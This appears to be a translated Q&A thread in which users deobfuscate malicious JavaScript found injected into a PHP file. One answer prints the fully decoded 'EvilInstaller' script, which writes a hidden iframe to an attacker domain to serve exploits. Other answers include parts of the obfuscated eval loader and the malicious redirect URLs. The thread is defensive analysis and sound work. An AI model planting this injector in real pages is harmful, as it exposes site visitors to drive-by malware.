У меня есть код, который был внизу файла php на javascript. Он проходит через множество странных искажений, таких как преобразование шестнадцатеричного кода в ascii, затем выполнение замены регулярных выражений, выполнение кода и так далее ...
Есть ли способ узнать, что он выполняет, до того, как он это сделает?
Код здесь:



![Безумие обратных вызовов в javascript [JS]](https://i.imgur.com/WsjO6zJb.png)


Просто напишите сценарий perl или что-то такое, что меняет все экранированные шестнадцатеричные символы на ascii? Затем просто просмотрите регулярные выражения, чтобы увидеть, что именно происходит, и проделайте то же самое со своим perl / любым скриптом.
Вы можете просто пройти его поэтапно - поскольку это Javascript, и он интерпретируется, он должен быть отдельным дешифратором. Если у вас есть доступ к интерпретатору Javascript командной строки (например, к консоли в Firebug), это будет довольно просто.
Я посмотрю и посмотрю, что из этого выйдет.
Редактировать Я прошел через большую часть этого - кажется, что последний шаг нетривиален, вероятно, потому, что он включает "arguments.callee". Как бы то ни было, я поставил что у меня есть до сих пор на Pastebin.
Интересно, что я обнаружил, что самой сложной частью этого является присвоение тарабарщине собственных имен переменных. Это напомнило мне кроссворд или судоку, где вы знаете, как все взаимосвязано, но вы не можете окончательно назначить что-то, пока не выясните, каковы его зависимые части. :-) Я уверен, что если кто-то распознает алгоритм, он может дать частям более значимые имена, но в той части, где происходит много XOR, есть две временные переменные, которые я только что оставил в качестве имен по умолчанию так как я не знаю достаточно контекста, чтобы дать им полезные.
Окончательное редактирование: Бит 'arguments.callee' стал проще, когда я понял, что могу просто передать необработанный текст, который, по иронии судьбы, только что декодировал (это довольно умный метод, так что обычная деобфускация не будет работать, потому что, конечно, если вы переименовать переменные и т. д., значение другое). Во всяком случае, вот ваш сценарий полностью:
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + " = " + escape(value)+"; expires = "+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
По сути, похоже, что он загружает вредоносное ПО с axa3.cn. Интернет-провайдер уже подозревает сайт, поэтому неизвестно, что там было на самом деле, помимо общей плохости.
(Если кому-то интересно, я использовал Pastebin в качестве псевдо-VCS для меняющихся версий кода, так что вы можете увидеть еще один промежуточный шаг, немного после моего первого сообщения редактирования. Было довольно интригующе видеть различные уровни обфускации и то, как они меняются .)
хех - я перестал возиться с ним (это надоело) и просто отключился и позволил ему работать, затем проверил DOM в firebug
Re: присвоение тарабарщине собственных имен переменных: «В информатике есть только две сложные вещи: аннулирование кеша и присвоение имен» - Фил Карлтон
Re: Pastebin как псевдо-VCS: GitHub недавно запустил службу Pastebin под названием "Gist" Gist.GitHub.Com; По сути, это служба Pastebin, как и все остальные, Кроме, потому что каждый Pastie также является репозиторием Git. IOW: Он использует Pastebin а также как настоящую VCS.
«Сайт уже подозревается интернет-провайдером»: нет, «интернет-провайдер» сам по себе черная шляпа. Сообщение «учетная запись заблокирована» (независимо от того, что эксплойты все еще активны) - это старая, старая тактика российских групп вредоносных программ, которые запускают эти мошенничества.
Вы можете попробовать консоль firebug и разбить ее по частям. Для начала:
var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));
просто маскирует функцию "eval" как "jQuery"
Самым простым подходом было бы слишком простое использование простой программы на c для преобразования экранированных шестнадцатеричных символов в читаемый текст, например:
#include <stdio.h>
const char wtf[] = ""; // Really long string goes here
int main(void) {
::printf("%s\n", wtf);
}
что дает это (я добавил форматирование). Я позволю вам закончить последнюю часть, которая кажется более похожей.
Я знаю, что это не ответ, но обычно (где я видел подобные вещи) они размещаются так, что, если эта строка не выполняется, весь скрипт останавливается. Почему они это делают? Ну, потому что они печатают свои авторские права на сценарии (или, чаще всего, на шаблоне).
Когда люди прилагают все усилия, чтобы вы выразили признание, потому что у них действительно есть лицензия на удаление авторских прав, я бы порекомендовал заплатить за нее, поскольку даже если вы "перепроектируете" это, они могут (и имеют) другие способы проверить, ваша лицензия верна. (некоторые из этих программ на самом деле отправят какое-то сообщение, если вы это сделаете).
Но, прежде чем я получу какое-либо пламя, я согласен, что интересно вернуться к этому виду ценных бумаг, получить исходный код и взломать его =)
Что ж, я # видел это только как код от скриптовых детишек, делающих менее приятные вещи и запутывающих то, что они делают. Неужели кто-нибудь использует это для обфускации авторских прав?
Да, я видел много случаев и примеров (гораздо больше, чем вы могли бы подумать, помните, что есть МНОГО людей, живущих с помощью шаблонов и прочего)
очень осторожно - если кто-то собирается так сильно запутать код, вероятно, это какой-то скрипт атаки
вы можете выводить результаты выполнения поэтапно, используя локальный файл html, и брать его по частям
делая это, я получаю:
var jQuery = "eval(" +
'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') +
");";
document.writeln('jQuery=' + jQuery);
который дает
jQuery=eval(window.eval);
который, как заметил crescentfresh, связывает переменную jQuery с функцией window.eval.
следующий раздел, очевидно, пытается вычислить что-то в шестнадцатеричном коде, поэтому давайте посмотрим, как выглядит строка шестнадцатеричного кода (переформатированная вручную для целей презентации):
function g4LZ(s9QNvAL)
{
function eDdqkXm(fX09)
{
var uaWG=0;
var jtoS=fX09.length;
var aCD6=0;
while(aCD6wQ5.length)
d971I=0;
if (f234SD>lIXy6md.length)
f234SD=0;
kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
}
eval(kyCyJ);
return kyCyJ=new String();
}
catch(e){}
}
g4LZ('%33...%5e');
и теперь у нас есть экранированная строка в конце, давайте посмотрим, что там, используя unescape (обрезано для презентации):
30248118GA0* l: WRG:nt9*82:)7Z\uF%*{...
честно говоря, мне становится скучно разбирать это, поэтому вместо этого я сбросил его в локальный html файл, отключился от Интернета, открыл firefox, отключил javascript, загрузил файл в firefox, включил firebug, перезагрузил страницу, чтобы он запустился , и проверил DOM.
сценарий создает IFRAME с SRC, установленным на [изменено для безопасности!]:
http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/
axa3.cn - китайский домен в черном списке вредоносных программ.
Хотя вы можете декодировать вручную, это скоро может стать утомительным, если у вас будет много этапов декодирования. Я обычно заменяю eval / write, чтобы увидеть каждый шаг:
<script>
window.__eval= window.eval;
window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
document.__write= document.write;
document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>
Однако этот конкретный сценарий защищен от этого преднамеренной проверкой window.eval. Использование arguments.callee также означает, что сценарий полагается на формат Function.toString определенного браузера, в данном случае IE - он не будет работать в других браузерах. Вы можете добавить обходные пути в заменяющую функцию eval, чтобы дать сценарию то, что он ожидает в этом случае, но это все еще немного неудобно.
Вы можете использовать отладчик сценариев для пошагового выполнения кода, или то, что я сделал в этом случае, было разрешить запуск кода на виртуальной машине без сети, которую я мог позволить себе списать. Посмотрев на document.body.innerHTML после запуска кода, я обнаружил, что он добавил невидимый iframe, указывающий на:
hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/
который перенаправляет на:
hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php
который при подходящих условиях в IE дает вам массу эксплойтов. Не переходите по этим URL-адресам.
Короче говоря, ваш сервер был взломан axa3.cn, одной из многих действующих на данный момент банд вредоносных программ, размещаемых в Китае, но управляемых Россией.
Ха-ха! Обфускация JavaScript! Сделал мой день. :)